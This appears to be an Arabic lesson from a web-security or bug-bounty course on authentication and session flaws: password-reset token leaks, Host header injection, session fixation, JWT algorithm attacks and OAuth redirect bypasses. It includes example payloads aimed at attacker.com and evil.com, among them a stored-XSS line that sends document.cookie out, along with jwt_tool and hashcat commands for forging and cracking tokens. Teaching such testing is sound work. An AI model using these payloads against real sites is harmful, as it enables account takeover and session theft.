الدرس 11 من 24

فئات ثغرات الويب

عيوب المصادقة والجلسة

3 دقيقة للقراءة

فشل المصادقة هو رقم 7 في OWASP Top 10:2025. المصادقة الضعيفة تؤدي لاستيلاء الحساب، أكثر فئات الثغرات تأثيراً على المستخدمين.

ثغرات إعادة تعيين كلمة المرور

تسريب الرمز

# تحقق إذا كان الرمز يظهر في رأس Referer
1. اطلب إعادة تعيين كلمة المرور
2. انقر على رابط إعادة التعيين
3. الصفحة تحمل مورداً خارجياً (صورة، سكربت)
4. الرمز مسرب في رأس Referer

# تحقق من الرمز في URL مقابل جسم POST
# رموز URL يمكن أن تتسرب عبر تاريخ المتصفح، السجلات

رموز ضعيفة

# اختبر قابلية توقع الرمز
# اطلب إعادة تعيينات متعددة، قارن الرموز
الرمز 1: abc123def456
الرمز 2: abc123def457  # تسلسلي = متوقع!

# اختبر إعادة استخدام الرمز
# هل يمكن للرموز القديمة أن تعمل؟
# ما هو وقت الانتهاء؟

حقن رأس Host

# حقن host خبيث في طلب إعادة التعيين
POST /reset-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com

# إذا احتوى البريد: https://attacker.com/reset?token=xxx
# المستخدم ينقر → الرمز يُرسل للمهاجم

إدارة الجلسة

تثبيت الجلسة

# هل يمكنك تعيين معرف الجلسة قبل تسجيل الدخول؟
1. المهاجم يزور الموقع، يحصل على معرف جلسة: ABC123
2. المهاجم يرسل للضحية رابط بمعرف الجلسة
3. الضحية يسجل الدخول بمعرف جلسة المهاجم
4. المهاجم الآن لديه جلسة مصادقة

# اختبر:
# هل يتغير معرف الجلسة بعد تسجيل الدخول؟
# هل يمكنك تعيين الجلسة عبر معامل URL؟

تحليل رمز الجلسة

# تحقق من أعلام أمان الكوكي
Set-Cookie: session=xyz;
# مفقود HttpOnly → XSS يمكنه السرقة
# مفقود Secure → اعتراض HTTP
# مفقود SameSite → عرضة لـ CSRF

# حلل إنتروبيا الرمز
# رموز قصيرة = قابلة للقوة العمياء
# تسلسلية = متوقعة
# مبنية على الوقت = متوقعة

ثغرات JWT

ارتباك الخوارزمية

# غيّر الخوارزمية إلى 'none'
# الرأس الأصلي
{"alg": "RS256", "typ": "JWT"}

# الرأس المعدل (ترميز base64)
{"alg": "none", "typ": "JWT"}

# أرسل بدون توقيع
<header>.<payload>.

هجوم ارتباك المفتاح

# هجوم RS256 → HS256
# الخادم يستخدم المفتاح العام للتحقق من RS256
# الهجوم: وقّع بـ HS256 باستخدام المفتاح العام كسر

# الأدوات
jwt_tool <token> -X a  # هجمات الخوارزمية
jwt_tool <token> -I -pc user -pv admin  # حقن الحمولة

مشاكل JWT الشائعة

المشكلة الاختبار
خوارزمية None عيّن alg إلى "none"
سر ضعيف قوة عمياء مع hashcat
لا انتهاء تحقق من مطالبة "exp" المفقودة
بيانات حساسة في الحمولة فك base64، تحقق من المحتويات
# كسر أسرار JWT الضعيفة
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

ثغرات OAuth/SSO

إعادة توجيه مفتوحة في OAuth

# تلاعب بـ redirect_uri
/oauth/authorize?redirect_uri=https://evil.com/callback

# تجاوز التحقق
redirect_uri=https://legit.com.evil.com
redirect_uri=https://legit.com%40evil.com
redirect_uri=https://legit.com/callback/../../../evil

CSRF في تدفق OAuth

# معامل state مفقود
# الهجوم: أرسل للضحية OAuth URL بدون state
# حساب الضحية مرتبط بهوية المهاجم

تسريب الرمز

# رمز الوصول في جزء URL
# تحقق من تاريخ المتصفح، تسريب Referer
# تحقق إذا كان access_token يظهر في سجلات الخادم

سلاسل استيلاء الحساب

مثال سلسلة: إعادة تعيين كلمة المرور + IDOR

1. ابحث عن IDOR في إعدادات المستخدم
2. غيّر بريد الضحية لبريد المهاجم
3. اطلب إعادة تعيين كلمة المرور
4. رابط إعادة التعيين يُرسل للمهاجم
5. استيلاء الحساب تم

مثال سلسلة: XSS + سرقة الجلسة

1. ابحث عن stored XSS في الملف الشخصي
2. حقن: <script>fetch('https://evil.com/?c='+document.cookie)</script>
3. الضحية يعرض الملف الشخصي
4. كوكي الجلسة مُستخرج
5. سجل دخول كالضحية

قائمة مراجعة الاختبار

  • قابلية توقع رمز إعادة تعيين كلمة المرور
  • انتهاء الرمز وإعادة استخدامه
  • حقن رأس host في رسائل إعادة التعيين
  • تجديد معرف الجلسة بعد تسجيل الدخول
  • أعلام أمان الكوكي (HttpOnly، Secure، SameSite)
  • ثغرات خوارزمية JWT
  • التحقق من redirect_uri في OAuth
  • وجود معامل state في OAuth

أمثلة المكافآت

الثغرة الشركة المكافأة
خوارزمية JWT none Auth0 10,000 دولار
تسريب رمز إعادة تعيين كلمة المرور Twitter 5,040 دولار
تجاوز redirect في OAuth Facebook 7,500 دولار
تثبيت الجلسة Shopify 3,000 دولار

نصيحة احترافية: ثغرات المصادقة غالباً تتطلب التسلسل. كشف معلومات منخفض الخطورة + عيب مصادقة = استيلاء حساب حرج.

في الدرس التالي، سنستكشف Server-Side Request Forgery (SSRF). :::

اختبار

الوحدة 3: فئات ثغرات الويب

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.